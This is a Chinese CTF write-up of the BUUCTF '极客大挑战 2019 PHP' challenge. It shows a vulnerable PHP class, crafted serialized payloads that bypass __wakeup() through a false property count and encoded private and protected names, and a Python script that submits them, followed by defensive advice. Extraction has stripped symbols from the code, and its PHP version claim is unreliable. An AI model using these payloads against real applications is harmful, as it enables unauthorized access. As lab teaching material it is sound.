【BUUCTF】[极客大挑战 2019] PHP 反序列化漏洞实战:绕过__wakeup()的三种姿势

发布时间:2026/5/19 12:11:31

【BUUCTF】[极客大挑战 2019] PHP 反序列化漏洞实战:绕过__wakeup()的三种姿势 1. PHP反序列化漏洞与__wakeup()方法基础在CTF比赛中PHP反序列化漏洞一直是Web安全方向的高频考点。这次我们以BUUCTF平台上的[极客大挑战 2019] PHP题目为例深入剖析如何绕过__wakeup()魔术方法的防御机制。先来理解几个核心概念反序列化漏洞的本质是将用户可控的序列化数据还原为PHP对象时触发了对象中的魔术方法如__destruct、__wakeup等导致非预期代码执行。就像把压缩包解压时如果压缩包内容被篡改解压过程就可能引发系统异常。题目中的关键类定义如下class Name{ private $username nonono; private $password yesyes; public function __construct($username,$password){ $this-username $username; $this-password $password; } function __wakeup(){ $this-username guest; // 安全防御点 } function __destruct(){ if ($this-password ! 100) { die(验证失败); } if ($this-username admin) { global $flag; echo $flag; // 目标触发点 } } }这个设计模式在业务系统中很常见__wakeup()用于重置敏感属性类似权限校验__destruct()在对象销毁时进行最终验证。攻击者需要同时满足两个条件保持password100不变防止username被__wakeup()重置为guest2. 绕过__wakeup()的第一种姿势属性数量欺诈PHP在反序列化时有个鲜为人知的特性当序列化字符串中声明的属性数量大于实际属性数量时会跳过__wakeup()的执行。这就像快递员发现包裹标注的物品数量与实际不符时会直接拒收而不执行验货流程。正常序列化结果O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}关键突破点在于修改:2这个属性计数。我们将其改为大于2的数字O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}但直接这样提交会失败因为题目中username和password都是private属性。私有属性在序列化时会有特殊编码规则3. 绕过__wakeup()的第二种姿势私有变量处理技巧私有属性序列化时会自动添加类名前缀和空字符ASCII 0。原始序列化中字段名username变为\0Name\0username长度14包含前缀Name共4字符前后各1空字符所以正确payload需要将属性计数改为3使用%00表示空字符URL编码保持字段长度计算准确最终构造O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}用Python requests提交的示例import requests url http://target.com/ payload O:4:Name:3:{s:14:\0Name\0username;s:5:admin;s:14:\0Name\0password;i:100;} r requests.get(url, params{select: payload}) print(r.text)4. 绕过__wakeup()的第三种姿势protected字段构造如果题目将属性改为protected修饰处理方式又有所不同。protected字段序列化时会添加\0*\0前缀其中*表示通配符。假设类定义改为class Name{ protected $username; protected $password; }对应的payload需要O:4:Name:3:{s:11:\0*\0username;s:5:admin;s:11:\0*\0password;i:100;}这里注意字段长度变为11\0*\0共3字节username8字节浏览器直接提交%00*%00会编码问题建议用Python发送5. 实战中的组合技巧与防御建议在实际CTF比赛中往往需要组合多种技巧属性类型探测通过报错信息判断字段是public/private/protected长度校验绕过确保序列化中的长度声明与实际字符串完全一致字符编码处理%00在URL传输中的正确处理方式对于开发者来说防御此类攻击的建议避免在魔术方法中处理敏感逻辑对反序列化操作进行严格的白名单控制使用json_encode/json_decode替代序列化我在实际测试中发现PHP 7.4版本对属性计数绕过进行了修复但部分环境仍存在兼容性问题。建议在docker中搭建靶场环境时明确指定PHP版本进行测试。

相关新闻